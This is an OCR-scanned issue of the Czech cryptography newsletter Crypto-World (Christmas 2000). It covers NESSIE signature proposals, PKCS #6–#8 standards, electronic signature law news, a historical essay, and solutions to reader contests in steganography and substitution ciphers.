ESIGN je prokazatelné bezpecné schéma. Doporucena délka klice je 1152, autofi vSak
uvadi, Zze schéma je podstatné rychlejsi nez RSA ¢i dokonce i eliptické kiivky.

14.: FLASH

Navrh predkladaji francouzsti kryptologové. Autory jsou Jacques Patarin, Louis Goubin a
Nicolas Courtois.

Dle anotace se jednd o rychlé podpisové schéma pro cenové dostupné ¢ipové karty. Schéma
ma byt podstatné rychlejsi nez RSA avsak pouzity verejny klic ma vétsi délku — 18 kilobajtt,
podpis ma délku 296 bitli. Soukromy kli¢ v délce 2,75 kilobajtli je generovan ze seedu
v minimalni délce 128 biti.

I5.: QUARTZ
Titiz autofi jako u predeslého navrhu, tj. Jacques Patarin, Louis Goubin a Nicolas Courtois.
Dle anotace je schéma urCeno k vytvareni velmi kratkych podpisti (128 bitd). Délka
vetfejného klice je 71 kilobajtti, soukromy kli¢ v délce 3 kilobajty je generovan ze seedu 128
bitl. Pfedpokladé se implementace na PC.
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16.: RSA-PSS

RSA Laboratories predkladaji schéma RSA-PSS. Autory PSS metody jsou Mihir Bellare a
Phillip Rogaway. Schéma je soucasti navrhti skupiny P1363.

Jednd se o kombinaci algoritmu RSA smetodou koédovani oznacenou jako
pravdépodobnostni podpisové schéma (EMSA-PSS).

17.: SFLASH

TitiZ autofi jako u navrhu algoritmti FLASH a QUARTZ, tj. Jacques Patarin, Louis Goubin a
Nicolas Courtois.

Opét se jedna o rychlé podpisové schéma pro cenové dostupné Cipové karty. Schéma ma byt
podstatné rychlejsi nez RSA ptitom pouzity vetejny kli¢ ma délku — 2,2 kilobajtti, podpis ma
délku 259 bith. Soukromy kli¢ v délce 0,35 kilobajth je generovan ze seedu v minimalni délce
128 bitd.

Asymetricka identifika¢ni schémata

J.: GPS

Predklada France Télécom a La Poste. Autory navrhu jsou Marc Girault, Guillaume Poupard
a Jacques Stern.

Jednd se o asymetrické identifikacni schéma s nulovym pfeddnim znalosti. Toto schéma
kombinuje prokazatelnou bezpecnost zalozenou na slozitosti obecné ulohy diskrétniho
logaritmu s kratkymi klici, kratkou dobou pfenosu a minimalnim on-line vypocty. Schéma je
urceno k implementacim na cenové dostupnych c¢ipovych kartdch (bez kryptografického
procesoru).

K. Testovaci metodologie

K1.: Using the general next bit predictor like an evaluation criteria

Autofi pochazi ze §panélska: J.C. Hernandez, J.M. Sierra, C. Mex-Perera, D. Borrajo, A.
Ribagorda a P. Isasi.

Dokument popisuje prediktor dal$iho bitu posloupnosti na zéklad¢ principu samouciciho se
stroje.

Shrnuti

Zatim nebyl v historii kryptologie obdobny moment — ptedlozeni tak velkého poctu
kryptografickych primitivli k vefejnému projednani. Prvni dojem také tika, Ze toto velké
mnozstvi riiznorodych navrhit (diky zadani celého konkursu) je odlisné nejen svym
zamétfenim, ale asi i1 kvalitou. Nékteré navrhy jsou hluboce rozpracovany, jiné pfindsi nové
myslenky, nékteré vSak zase budi dojem, Ze by nesSkodila pfilozena hlubsi analyza. Nékteré
sekce také trpi malou konkurenci navrhii. Je to ovSem teprve zacatek a je pravdépodobné, Ze
po prvni etapé projednavani piedlozenych navrhi (spolu s vytazenim nékterych z nich) se
celkovy obraz zméni.
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D. Kryptografie a normy
Ing. Jaroslav Pinkava, CSc. (AEC spol. s r.0./ Norman Czech Republic)

Dil 4.
Normy PKCS (Public-Key Cryptographic Standards) -
PKCS #6, PKCS #7, PKCS #8

Uvod

Dnesni ¢ast seridlu bude vénovana hned tiema titulim z fady PKCS. Prvni z nich PKCS #6
je vénovan rozSifenim (extensions) certifikati dle X. 509, druhy se zabyva syntaxi
kryptografické zpravy (CMS — Cryptographic Message Syntax). Tieti PKCS#8 popisuje
syntaxi pro informaci o obsahu soukromého klice.

PKCS #6

Vsem tfem normdm se budeme vénovat jen velmi kratce. Jejich vyznam je totiz dnes jiz
spiSe jen historicky, jsou dnes vlastné piekondny a jejich obsah je vyrazné podrobnéji a
modernéji rozpracovan v naslednych normach.

Prvni verze PKCS#6 vznikly v roce 1991, posledni aktualizovana verze ma cislo 1.5 a
pochazi z roku 1993.

Norma popisuje syntaxi tzv. rozsifenych certifikati. Tim je minén klasicky X.509 certifikat
(v jedné z prvnich verzi normy X.509) a obsahujici navic mnozinu atributii. VSe je spolu
souhrnné podepsano vydavatelem certifikatu X.509. Zamérem tohoto postupu bylo tehdy
predevsim umoznit zahrnout do certifikatu nékteré dalsi informace jako je mailova adresa
(pouziti v PEM — Privacy Enhanced Mail).

Uvedené postupy jsou dnes aplikovany samoziejmé ve vyrazné Sir§i podobé. Zahrnuje to
predevs§im samo vydani novych verzi normy X.509 (v letoSnim roce se objevila zatim
posledni z nich — vyrazné se zabyva i podobou atributovych certifikatd — draft revised
ISO/IEC 9594-8). Déle je uzitecné v této souvislosti poukazat na drafty a rfc skupiny IETF-
pkix:

Internet X.509 Public Key Infrastructure Certificate and CRL Profile (RFC 2459)
- rfc2459.txt
An Internet AttributeCertificate Profile for Authorization - draft-ietf-pkix-ac509prof-04.txt
Internet X.509 Public Key Infrastructure Certificate and CRL Profile —
- draft-ietf-pkix-new-part1-02.txt

Protoze se témto normam budeme vénovat v rdmci popisu vysledkd prace dané skupiny — je

tak mozno 1épe postihnout nékteré dalsi souvislosti — obratime se na dal$i normu v poradi
s ¢islem sedm popisované fady PKCS.
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PKCS #7

Opét prvni verze vznikly v roce 1991, posledni aktualizovand verze ma rovnéz ¢islo 1.5 a
pochézi z roku 1993.

Norma popisuje syntaxi dat, ktera jsou nasledn¢ Sifrovana — ptikladem mohou byt digitalni
podpisy a digitalni obalky. Je zde povolena rekurze, tj. napiiklad jedna obalka miZze byt
umisténa v druhé obalce, nebo 1ze znovupodepisovat jiz diive podepsana data. Jsou povoleny
ruzné atributy (napft. Casovy okamzik podpisu), které lze podepsat spolu se zpravou.

Vzhledem opét k dobé vzniku normy je zde zvaZzovana piedevSim kompatibilita s PEM v
tom smyslu, Ze podepsand data lze bez dalSich kryptografickych operaci konvertovat na
zpravy v podobé PEM (rfc1421-3).

Material popisuje v definicich nékolik tzv. typa, identifikatory objektl a obecnou syntaxi.
Syntaxe podporuje celou fadu typt obsahu, jmenovité nasledujicich Sest:

data,

signed data,

enveloped data,
signed-and-enveloped data,
digested data,

encrypted data.

Podrobnéji se k témto definicim vratime pii popisu soucasnych norem z této oblasti jako je
Cryptographic Message Syntax (RFC 2630) zpracovany skupinou IETF-S/MIME Mail
Security a nékteré dopliujici drafty popisujici pouziti konkrétnich algoritml (napf. RSA-
OAEP) v nédvaznosti na CMS.

PKCS #8

Norma nese nazev Private-Key Information Syntax Standard (Syntaxe informace o
soukromém kli¢i) a jeji prvni verze se objevila rovnéz v roce 1991. Posledni je verze 1.2
z roku 1993.

Norma je velice stru¢na a v podstaté fikd, Zze informace o soukromém kli¢i (vzhledem
k néjakému kryptografickému algoritmu s vefejnym kli¢em) obsahuje tento soukromy kli¢ a
uréitou mnozinu atributd. K zaSifrovani této informace lze pouzit Sifrovaci algoritmus
zalozeny na pouziti hesla (naptf. popsany v PKCS#5). Smyslem atribut je pfipravit
jednoduchou cestou ustaveni ur¢ité divéry uzitim informace jako jsou DN (distinguished
name) anebo vetejny klic CA. Seznam takovychto atributi je pak obsazen napt. v PKCS#9.

Tato norma svym zptisobem neni v soucasnosti pfili§ uzite¢nd. K ochrané soukromého klice
se pfistupuje dnes celou fadou zplsobi. K problematice se vratime pti popisu PKCS#12.
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E. Letem Sifrovym svétem

l. Utad pro ochranu osobnich tdajii (déle jen "Utad") zvefejnil na adrese http://www.e-
podpis.cz tzv. teze k Zakonu ¢. 227/2000 Sb., o elektronickém podpisu. Teze ptipravil
kolektiv pracovnikil Utadu a odborné pracovni skupiny jmenované piedsedou Utadu RNDr.
Karlem  Neuwirtem. (jmenovité slozeni komise je  dostupné na  adrese
http://www.uoou.cz/ep_skupina.html ) . Na této adrese "e-podpis" je také oteviena oficialni
vefejna diskuse k jednotlivym tezim vyhlasky. P¥ispévky v této diskusi Utad vyuZije ke své
dal3i praci nad tezemi vyhlasek.... Ufad nema v soucasné dobé v provozu vlastni server a

vyuZil tedy moznosti pouZit bezplatne bez smluvnich zavazkl, do doby uvedeni funkéniho
serveru Utadu do provozu, prostor serveru e-podpis. Teze Utad podstoupil i jinym serveriim,
ale oficialni diskuse je vedena jen na tomto serveru. Utad 4.12.2000 také seznamil s obsahem
tezi 25 subjektl, které ptislibily zaslat své pisemné vyjadieni do 15.12.2000. Na 20.12.2000
se na Utad¢ pipravuje setkani pracovniki Utadu, ¢lenti odborné skupiny a téchto subjektil.
Na tomto setkdni se budou hodnotit jednotlivé pfipominky k tezim. Jména subjekti (pfipadné
jejich pisemna stanoviska) Ufad vhodnym zptsobem zvefejni. Vysledky téchto akci budou
nasledné béhem ledna 2001 zapracovany do pfipravovanych tezi. Terminy jsou opravdu
vrazedné, ale vychazeji z pozadavk, které jsou na Utad kladeny. Viem, ktefi se zapojili nebo
zapoji do diskuse touto cestou dékuji. Dnesni ptiloha - teze vyhlasky a doprovodné prezentace
- vam maji umoznit lepsi orientaci v této problematice.

2. Schvéleni zakona o elektronickém podpisu mélo dle odhadu odborniki podpofit
rozvijejici se elektronicky obchod na Internetu v USA. Skutecnost vSak je zcela opacna.
Oslnivy nastup americkych firem obchodujicich po Internetu letos skoncil. Dokonce kolem
130 firem muselo ukoncit svoji ¢innost a propustit kolem osmi tisic zaméstnanct. Z téchto
130 firem se 60% zabyvalo pfimo elektronickym obchodem a piiblizn€ 20% nabizelo rtizné
servisni sluzby podnikatelské sféte. http://www.webmergers.com

3. "Bankovni institut vysoka Skola a.s." pofadal 7.12.2000 jednodenni seminaf s ndzvem
"Elektronicky podpis - vyuziti v bankovnictvi". Jako lektoii byli pozvani Ing.Jaroslav Pinkava
a Mgr.Pavel VondruSka. Semindi se skladal ze sedmi samostatnych lekci. Oba dva lektofi
slibili zvetejnit své prezentace . Mimo sedmdesati posluchacli seminaie se tak s nimi mizete
sezndmit i vy a stdhnout si je z naSeho webu: http://www.mujweb.cz/veda/gcucmp/ sekce
BANKA.

4. Hackerim pravdépodobné vyhovuji dlouhé zimni vecery a pfedvanocni obdobi. Tak
jako loni i letos jsme jiz mohli zaznamenat fadu "Gspé€Snych" utokd na stranky rtznych
subjekti (KSCM, Ministerstvo vnitra, Cesky rozhlas). Postizen byl i mij byvaly kolega,
kterému nékdo pres Internet smazal obsah jednoho z logickych diskli. Soucasné byl Gto¢nik
tak "slusny", Ze se omluvil a ulozil na disk navod jak se podobnym utokiim branit. V textu
piSe, ze takto provadi konzultacni sluzby zdarma a soucasné¢ vede boj proti pocitacové
globalizaci. Jeho podpis byl Binary Divison Hacker Agency Unlimited Consulting Dastych
Group Company.

5. O ¢em jsme psali pied rokem ?

Crypto-World 12/99 http://www.mujweb.cz/veda/gcucmp/casopis/crypto12 99.html
A .Microsoft nas zbavil dalsi iluze! (P.Vondruska)

B.Matematické principy informacni bezpecnosti (Dr. J. Soucek)

C.Pod stromecek nové sitové karty (P.Vondruska)

D.Konec filatelie (J.Némejc)

E.Y2K (Problém roku 2000) (P.Vondruska)

F.Patalie se syst¢émem Mickeysoft fritéza CE (Cyberspace.cz)

Crypto - World 2000 168


http://www.epodpis.cz
http://www.uoou.cz/ep_skupina.html
http://www.webmergers.com
http://www.mujweb.cz/veda/gcucmp/
http://www.mujweb.cz/veda/gcucmp/casopis/crypto12_99.html

Crypto-World

Informacni sesit GCUCMP

Vanoce/2000

Pripravil : Mgr.Pavel Vondruska,
¢len GCUCMP, BITIS, IACR, ISACA.
Sesit je rozesilan registrovanym ¢tenaram.
Starsi seSity jsou dostupné na adresach

http://www.mujweb.cz/veda/gcucmp/
+ http://cryptoworld.certifikuj.cz

(>230 e-mail vytiski)

OBSAH : Str.
A. Viano¢ni rozjimani nad jistymi historickymi analogiemi Zikona o 2-3
elektronickém podpisu a zakony prijatymi pred sto a pred tisicem let

B. Soutéz - zavérecny stav 4
C.ILkolo 5-7
D. I1L.kolo 8-9
E. II1.kolo 10-12
F. IV.kolo 12-13
G.PC GLOBE CZ 14
H.I.CA 15

Crypto - World 2000 169


http://www.mujweb.cz/veda/gcucmp/
http://cryptoworld.certifikuj.cz

A.Vano¢ni rozjimani nad jistymi historickymi analogiemi Zakona
o elektronickém podpisu a zakony prijatymi pred sto a pred
tisicem let.

(Mgr. Pavel Vondruska, UOOU)

VazZeni ¢tenari,

dovolte mi, abych vam popral klidné proziti vano¢nich svatkii, bohatého Jeziska,
v novém roce 2001 hodné zdravi, §tésti a pracovnich uspéchii!

Pro dobu vano¢niho rozjimani jsem vam pripravil dva malé piibéhy z dob
davnych a minulych, ale soucasné velice aktualnich. Myslim, Ze doba vanoc je to spravné
obdobi se zamyslet nad naSim pachténim se a nad tim jaké stopy po sobé na této zemi
miiZeme zanechat.

Nashledanou v roce 2001 !
Pavel Vondruska

Proces vyhlaSeni a prijeti zikona
(nejedna se o vyhlaseni a prijeti Zakona o elektronickém podpisu)

Roku 1073 (naseho letopoctu) seldzucky sultan Dzamal ad-Din Malik§ah se na své
navstéve observatore v Isfdhdnu dozvédél, Ze stavajici kalendar je nevyhovujici, nebot
dochazi jiz k nepfesnosti nc¢kolika dnli mezi rokem astronomickym a "skute¢nym". V
dasledku toho, Ze jaro piichazi o tyto dny pozdé&ji. Seldzucky sultan ihned vyhlasil reformu
kalendare, kterd bude platnd od roku 1074. Lidu bylo ohlaseno, ze v disledku nového,
piesného kalendare, ktery jejich panovnik natidil zavést, se zkrati zima a jaro zacne dfive.
Nadéle, ze bude dosazeno souladu a vééné harmonie mezi stavem bozskym - rokem
astronomickym - a stavem lidskym - tim, co se déje v souladu s bozim principem na zemi.
Ihned zacali veliké oslavy v Samarkandu, Buchate, Mervé, Ishafdnu a Rajji. Oslavy trvaly
n€kolik dni a sultan nechal rozdavat obili a pro obveseleni lidu nechal povésit vSechny
zlocince, kteti byly ve véznicich. Omar Chajjam (Abu 'l-Fath "Umar Ibn Ibrahim al-Chajjam),
ktery byl vedouci observatote v Ishafanu, byl za své zasluhy povySen do hodnosti nedina
(spolustolovnika), jehoZ hlavni povinnosti bylo popijet s panovnikem vino. Poznamenejme, ze
piti vina islam zakazuje, ovSem jak je vidét jsou mozné jisté vyjimky. Problém nastal az na
jate roku 1074, kdy tehdejsi dlouhd zima nechtéla polevit. Astronomové z Ishafanu byli
pozvani na slySeni k seldzuckému panovnikovi, kde se odvazili sultdnovi sdélit, ze nestaci
vyhlasit soulad astronomického a skute¢ného casu, ale je pottebné pfipravit piislusné
prevodové tabulky k opravé kalendare. Seldzucky sultan poté jmenoval osmic¢lennou komisi a
povétil ji vypracovanim téchto tabulek. Dal jim na to ¢as jednoho mésice. Komise vytvoftila
tabulky znamé jako Zidz-i Meliksahi (na pocest sultdna). Hodnoceni tohoto kalendare jsou
rozdilna, obecné se vSak vyzdvihuje jejich velika pfesnost - k chybé jednoho dne mélo dojit
az za 3770 let.
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Dodrzovani presné dikce narizeni
(nejedna se o problém s dodrzovanim dikce paragrafu 11 Zakona o elektronickém podpisu v
oblasti vefejné moci)

Od 1.ledna roku 1876 byly povinné zavedeny metrické miry a vahy v Rakousku -
Uhersku. Bylo tak uéinéno zédkonem z 23.¢ervence 1871 (s menSimi upravami platil az do
roku 1962 !!!). Dikce zdkona je netprosna - fikd, Zze dnem platnosti zdkona neni povoleno ve
Skole, védé, obchod¢, uradech a jinde pouzivat jiné miry a vahy nez metrické, které jsou v
ptiloze s ptevody ptisluSnymi uvedeny a to ani pismem ani slovem.

Nezbylo nez si na nové miry zvykat. Jan Neruda ve svych fejetonech poukazal na
nesmyslnost doslovného chépani ptislusného natfizeni. Dovoluji si ocitovat z jeho fejetont
otisténych 17.10.1875 a 31.12.1875 .

Predavam slovo Janu Nerudovi

Ach, to bude obrat od Nového roku! ... Napf. je potieba vydat novy preklad Krale
Leara od Shakespeara. Kral Lear fiké v 4.aktu, 6.scén¢ :

"Ba, kazdym coulem kral - "
a bude musit od Nového roku neuprositelné fikat : Ba, kazdymi 2 centimetry a 6.34008
milimetru kral"--

Zidak Shylock se posud v aktu 4.scéné 1. vzdycky usklibal :

"Aj, ptate se, pro¢ rad¢ji libru mrSiny chcei, nezli tisice dukati ?"

a bude muset od Nového roku usklibat :

"Aj, ptate se, proc¢ rad¢ji 0,56006 kilogramu mrSiny chei, nezli tisice dukatt ?"

...Varujici matka nesmi vice pozdvihnout na synécka prst a fici hlasem dojimajicim : "Pocke;j
jen, az budu Sest stop pod zemi, $pendlickem bys atd." nybrz : "Pockej jen, az budu 1.896484
metru pod zemi .."

... Dnes je Zbraslav jest¢ zrovna mili vzdalena od Prahy, po Novém ruce uz nebude, pak musi
dle zékona byt 0.7585936 myriametru...

Neboh¢ nase narodni pisné€ ! - ted’ si na né vzpominam!
Sel jsem véera do hospody,

v patach za mnou bézela,

jen jsem si dal holbu piva

uz se do mne pustila.-

nebo:

Vzdyt my ml¢ime,
kdyz kavu pijou,

z hrnci mazovych
do sebe lijou.-

Bojim se, ze 0.707362 litru a 1.414724 litru nepiijde pranijak do noty.
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B. Soutéz - konecny stav

Nase soutéz probéehla ve ctyfech kolech. V seSitech 9/2000 az 12/2000 jsme postupné
uvefejnili po jedné soutézni tloze a soucasné uvedli doprovodny text k ptislusné uloze.
Resitelé Gloh 1. az V., ktefi zaslali spravné fedeni do vyhlaseného data, byli slosovani a dva
takto vybrani ziskali cenu kola (certifikat k datim pro vytvareni elektronického podpisu u
poskytovatele certifikacnich sluzeb I.CA resp. AEC).

Uplnym zavérem soutéze pak bylo losovéni, které probghlo 21.12.2000. Z fesiteld,
kteti vytesili v§echny Ctyfi vyhlasené tlohy, byl vylosovan absolutni vitéz, ktery ziskal hlavni
cenu - registraci domény a provoz virtudlniho serveru modelu LITE na dobu jednoho roku.

Kone¢ny stav

Pseudonym |I.kolo II.kolo III.kolo IV kolo CELKEM
datum /bodti | datum /bodi |datum/bodi | datum/bodu

Josef M. 12.9/10 23.11/10 20
Mirek S. 12.9/10 17.10/10 17.11/10 12.12/10 40
Petr T. 12.9/10 18.10/10 20
Bohumir S. 12.9/10 18.10/10 22.11/10 30
Martin K. 12.9/10 10
FrantiSek K. [12.9/10 10
Tomas V. 13.9/10 31.10/10 26.11/10 30
Jan J. 13.9/10 17.10/10 19.11/10 12.12/10 &1 |40
Josef D. 18.9/10 10
Honza K. 18.9/10 10
Vasek V. 2.10/10 22.11/10 20
Michal B. 4.10/10 18.10/10 20.11/10 14.12/10 ! 40
Lada R. 4.10/10 24.10/10 X1 |24.11/10 30
Martin V. 18.10/10 10
Karel S. 24.10/10 29.11/10 19.12/10 30
Ivan L. 19.10/10 17.11/10 20
Frantisek P.  [29.11/10 23.11/10 18.11/10 11.12/10 40
Legenda : cena kola - certifikat u AEC

cena kola - certifikat u PVT
Vitézové IV kola :
Karel S.
Jan J.
Celkovy vitéz :
Michal B.
Blahopteji !
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C. ULOHA ¢&.1 - Steganografie

a) Zadani ulohy (Crypto-World 9/2000)

Ukolem je sestavit ukryty text, o némz vite, Ze je rozdélen do 5-ti ¢asti, kazda ¢ast
obsahuje 5 znak, kazda ¢ast je zamaskovéana nebo pfimo ukryta v néjaké casti www stranky
GCUCMP  (http://www.mujweb.cz/veda/gcucmp ; pozor - nikoliv. na URL
http://cryptoworld.certifikuj.cz ) . Ziskané ¢asti je potieba poskladdat ve spravném potadi a
tuto zpravu zaslat co nejdiive na adresu vyhlasovatele soutdze. Uloha je jednodussi proti
origindlni uloze v tom, Ze mé stranky jsou nesrovnatelné¢ mensi a prehlednéj$i nez www

Mrwe

behem dvou tydni origindlni tlohu GCHQ vyfesilo jen 14 uchazec.

b) Pocet spravnych resitelt
15

¢) Hledany text:

TRPEL IVOST PRINA SIRUZ E!XXX

( Trpé€livost piinasi rize! XXX )

d) nékolik poznamek k reSeni ulohy

Text ulozen bez interpunkce a mezer po péticich takto :

TRPEL IVOST PRINA SIRUZ E!XXX

Ulozeni jednotlivych pétic jsme zaevidovali tak, jak byli ulozeny v dob& vyhlaseni soutéze.
Postupné byli piislusné stranky rozsifovany a souc¢asné pohledy na ptislusna mista se mohou
nepatrné lisit.

1) TRPEL
Prvni pétice hledaného textu je uloZena v sekci: "Pavel Vondruska "

http:// www.mujweb.cz/veda/gcucmp/osobni/osobni.html
Slovo TRPEL schovano v titulu stranky (horni lista).

[ Pavel ¥Yondrugka - TRPEL - Microzoft Internet Explorer

Soubar  Uprawy Zobrazit  Bfejit Oblibené  Mapovéda

e o, 8 b e @& 8 & &

Zpét Y Ened Stop  Obrowit  Domd Hledat Oblibengé  Tizk Fizmo Foita

J Adreza I hittp: o mujweb. czivedalgoucmplosobnifosobnibhtrmil

Megr. Pavel Vondruska (*23.12.1956)
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2) IVOST

Druhé pétice hledaného textu je ulozena v sekci: "Piehled vybranych ceskych zdrojii z
kryptologie - linky"

http://www.mujweb.cz/veda/gcucmp/zdroje/zdroje.html

Slovo IVOST schovéno ve zdrojovém textu této stranky.

Na jeho existenci mély upozornit "drobné chyby" , které se zobrazovaly v prohlize¢i v mist¢,
kde v ptislusné ¢asti zdrojového textu je slovo ukryto. Ve zdrojovém koédu pak slovo (<--
soutez!!!)

Piehled nékterych eskych zdroju - téma : kryptologie

@ Zpét na hlavni stranku

'DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<!-- saved from url=(0051)http://www.mujweb.cz/veda/gcucmp/zdroje/zdroje.html -->
<HTML><HEAD><TITLE>Piehled nékterych €eskych zdroji - téma : kryptologie</TITLE>
<META content="text/html; charset=windows-1250" http-equiv=Content-Type>

<BODY bgColor=#ccffff link=#0000ff vLink=#800080><B></B></FONT><A
href="http://www.mujweb.cz/veda/gcucmp/IVOST%20(<--soutez!!!)"><B><FONT
face="Courier New"></FONT><FONT size=2>

<P>&nbsp;</P></FONT><B><FONT face="Times New Roman" size=5>

<P align=justify>Ptehled n¢kterych ceskych zdrojl - téma :

kryptologie</P></FONT>

Tato pétice byla nejdokonaleji uschovana. Zpiisob tohoto ukryti byl pouzit i v uloze GCHQ.
3) PRINA

Tteti pétice je ulozena pfimo na domovské strance http://www.mujweb.cz/veda/index.html
Slovo PRINA uloZeno malym pismem na posledni fadce stranky pod pohyblivym obrazkem

klice.
qﬂ

b

PRIMA
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4) SIRUZ

Ctvrta pétice je ulozena v sekci: "Piihlagka k odbéru sesitu Crypto-World, pfipominky,

dotazy, soutéz
http://www.mujweb.cz/veda/gcucmp/dotaz/dotaz.html

Slovo SIRUZ je schovéno v ¢asti "Linky, na které chci upozornit" .
Objevilo se pii pokusu vyvolat stranku s ndzvem SOUTEZ (toto slovo jej mélo pomoci najit).

Linky, na které chel upozornit

Sernarm

TrustCert Certifikaéni Autorita http/fwww trusteert. o/l

Spoleénost AEC, spol. s r.o. hitp/fwww asc.cx
Soutez éasopisu Crypto-World SOUTES

Piehled vybranych éeskych zdrojii z kryptologie CESKE ZDROJE

SdruZeni pro bezpeénost informaénich technologii a informaénich systémn
hitp ffwrsrw muyweb . cafvedalbitis/

Zpét nahoru

Microsoft Internet Explorer |

Q Intermetovzk) server http:/fziruz, 28 neda atewrit.

Server ze neda najit. Oveérte, je-i adresa spravne, a zkuzste to znovu.

5) EIXXX

Posledni pétice je ulozena v casti: "Crypto-World 2000/2001, II.ro¢nik"
http://www.mujweb.cz/veda/gcucmp/casop3/index.html

Slovo E!XXX je ptidano ke Copyrightu této stranky.

Vsem 15-ti GspéSnym fesitelim této ulohy blahopieji !
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D. ULOHA &.2 - Jednoducha zaména

a) Zadani ulohy (Crypto-World 10/2000+ www stranka)
SIFROVY TEXT - SOUTEZNI ULOHA ¢&islo 2:

JEDNODUCHA ZAMENA, CESTINA, BEZ MEZER, MEZINARODNI ABECEDA 26
ZNAKU (A-Z)
SIFROVY TEXT

UFTAL OTCSEF CILDO TGLUL JHSEN PZIHF NBGZU FTALP ZRZOB NCHSEF NQBZA ZFZGX
ZWOzG OLPzX AHBHU FTALP ZXIHJ OTWZJ HFAZD NDTOS BZLFN WCHPR ZPHCI TUXHI
ZCITD ZSAWT BCHSFE NDNFT ALPZG ZGZPZ WZIZD NQAHS WzZOTP TCOZJ RZHWT UBTPZ
HJOzwW TUBHB LHJUB ALOTP ZWLUB TOLXL JZ0OzZI LADLP TCPNG SGDNU ZOLOL ULQIT
DHUBX IHJOT WzZDHJ HSRZG OLPQH SGZXI HJOTW ZRZXA ZUBLA ILOZD CHJOL QZUFZ
ASXAT AHGQI LJONW CXAHW ZUZWC PHCHS DGOTQ LBTOZ FZGXZ WOZIL BONRL QHOLX
ARZJO ZSATO BLQUZ PHCHS UBLBT BGDRZ JIZCH SFNJA SCHBO ZRZJH DLBNP TDNRP
SBZXI HJOTW ZSQIL JLPZJ HHBZD AZONW CJNWC LRTWT WCHFL ISOZF HBDSG LDAZO
NWCOZ XAHXS UBONW CHFLI ZWCUZ XIHJO TWZBG DGLXL ATGDI LUBZO ZDCHJ OZRZS
IHGZO TDXHI NZBNI ZOHDN WCULW WTWCO ZRDCH JOZRU TPTHFE LINGS UBLDL RTBAL
JIWOZ XIZBZ OZQHU TWQONO ZRXHG JZRTJ ASCNJ ZOXHU FZASP LRTEFN BCHSE NGXAL
WHDLO NEEEE

b) Pocet spravnych reSitela
10

¢) Reseni

PREVODOVE TABULKY

Pro zaSifrovani
ABCDE FGHIJ KLMNO PQRST UVWXY
LFWJZ KVCTR QIPOH XYAUB SDMEN

@ N

Pro od8ifrovani
ABCDE FGHIJ KLMNO PQRST UVWXY Z
RTHVX BZOLD FAWYN MKJUI SGCPQ E

R SR R S db b S Sb b S Sb  Sb Sb e S Sb b Sb db b Sb b b Sb 2b S Sb 3b 3

OTEVRENY TEXT ROZPIS DO SKUPIN PO 5

SBIRA NIHUB HLAVN IZASA DOUBY MELOB YTZES BIRAM EJENT YHOUB YKTER EBEZP
ECNEZ NAMEP ROTOS BIRAM EPLOD NICED OBREV YVINU TEABY CHOMJ EMOHL ISPOL
EHLIV EURCI THOUB YVYBI RAMEZ EZEME CELEV YKROU CENIM IHNED JEOCI STIME
ODNEC ISTOT AODST RANIM ECAST INAPA DENEL ARVAM IHMYZ UZVYS ENANA SAKLI
VOSTP LODNI CEVOD OUJEZ NAMKO UZEPL ODNIC EJEPR ESTAR LANEV HODNA KESBE
RUPRI ROZKL ADNYC HPROC ESECH MOHOU VZNIK ATINE BEZPE CNELA TKYJA KONAP
RJEDN EURIN TAKSE MOHOU STATI TZVJE DLEHO UBYDR UHOTN EJEDO VATYM IVYJM
UTEPL ODNIC EUKLA DAMED OOTEV RENYC HDYCH AJICI CHOBA LUNEB OTVUZ AVREN
YCHNE PROPU STNYC HOBAL ECHSE PLODN ICETZ VZAPA RIZVL ASTEN EVHOD NEJEU
LOZEN IVPOL YETYL ENOVY CHSAC CICHN EJVHO DNEJS IMIOB ALYZU STAVA JITRA
DICNE PLETE NEKOS ICKYN EJPOZ DEJID RUHYD ENPOS BERUM AJIBY THOUB YZPRA
COVAN YXXXX

Délka textu : 670
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OTEVRENY TEXT :

sbirani hub hlavni zasadou by melo byt ze sbirame jen ty houby které bezpecne zname proto
sbirame plodnice dobre vyvinute abychom je mohli spolehlive urcit houby vybirame ze zeme
cele vykroucenim ihned je ocistime od necistot a odstranime casti napadene larvami hmyzu
zvysena nasaklivost plodnice vodou je znamkou ze plodnice je prestarla nevhodna ke sberu
pfi rozkladnych procesech mohou vznikat i nebezpecne latky jako napr jed neurin tak se
mohou stat i tzv jedle houby druhotne jedovatymi vyjmute plodnice ukladame do otevrenych
dychajicich obalu nebot v uzavrenych nepropustnych obalech se plodnice tzv zapari zvlaste
nevhodne je ulozeni v polyetylenovych saccich nejvhodnejsimi obaly zustavaji tradicne

pletene kosicky nejpozdeji druhy den po sberu maji byt houby zpracovany xxxx

d) nékolik poznamek k FeSeni ulohy

Pro nalezeni samohldsek lze pouZit velice rychly a kvalitni Suchotintv

algoritmus:

VYSTUP Z POMOCNEHO PROGAMU VFQ (lze jej stéhnout v sekci SOUTEZ)
automatické urceni samohldsek a frekvenci - vowels and frequency

Sukhotin's algorithm

(doplnén prvni sloupec - otevr¥eny znak)

670 letters.

Absolute frequency
Fin Isol

V# Total Init
82 22
52 7
48 9
46 6
42 11
32 6
31
29 1
28
28
27
26
26
26
25
22
22
22
21

18

13

4

w N -
e

XA GgRooNnH<S o om<OQOHaHZPp 0o
o
MO W XHMOdHOOWLGPpP QZ2=TwWHO0oHIoN

ONDNDNWWdOOD UL JWOWOU O

<
bl
10
o)
)
)

V nasem ptipad¢ program dobie najde prvnich 6 samohlasek a doplni jesté jednoho kandidata
(H), ale pridéli mu nejmensi pravdépodobnost - zafadi jej na sedmé misto.
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7 vowels,

Med
49
41
26
29
23
22
14
15
21
15
12
14
17
12
13
15
11
15
10
15
10
3

15 consonants

11

4
13
11

[e¢]

=
F R RPN JJ000 0 J0 N D 0

0

leNeoBeoNeoNoNoNoNoNoloNolololNoNoNoNoNoNoNoNo)

OO OORFrRPROOHORPROOORFRREPRERENOOR W

=
=

HFORPNOOOORFRORRPRPRPFPOONORFRORF ORF N

|

HO WO XTOQOHONG PP QZ2=Tw0WHOHITN

177

122
78
72
69
63
48
46
43
42
42
40
39
39
39
37
33
33
33
31
27
19

6

l64
52
67
45
82
45
67
75
37
67
52
37
30
30
45
0
30
22
22
15
15
0

(PROCEDURE FindVowels)

122
102
65
72
57
55
35
37
52
37
30
35
42
30
32
37
27
37
25
37
25
7

Relative Frequency
Total Init Med

(per 1000)
Fin Isol L/I
82 0 231
30 0 77
97 0 0
82 0 0
60 0 154
30 0 77
60 0 77
30 0 77
15 0 77
30 0 0
60 0 0
52 0 0
37 0 77
75 0 0
45 0 77
52 0 0
52 0 0
30 0 77
60 0 0

7 0 0
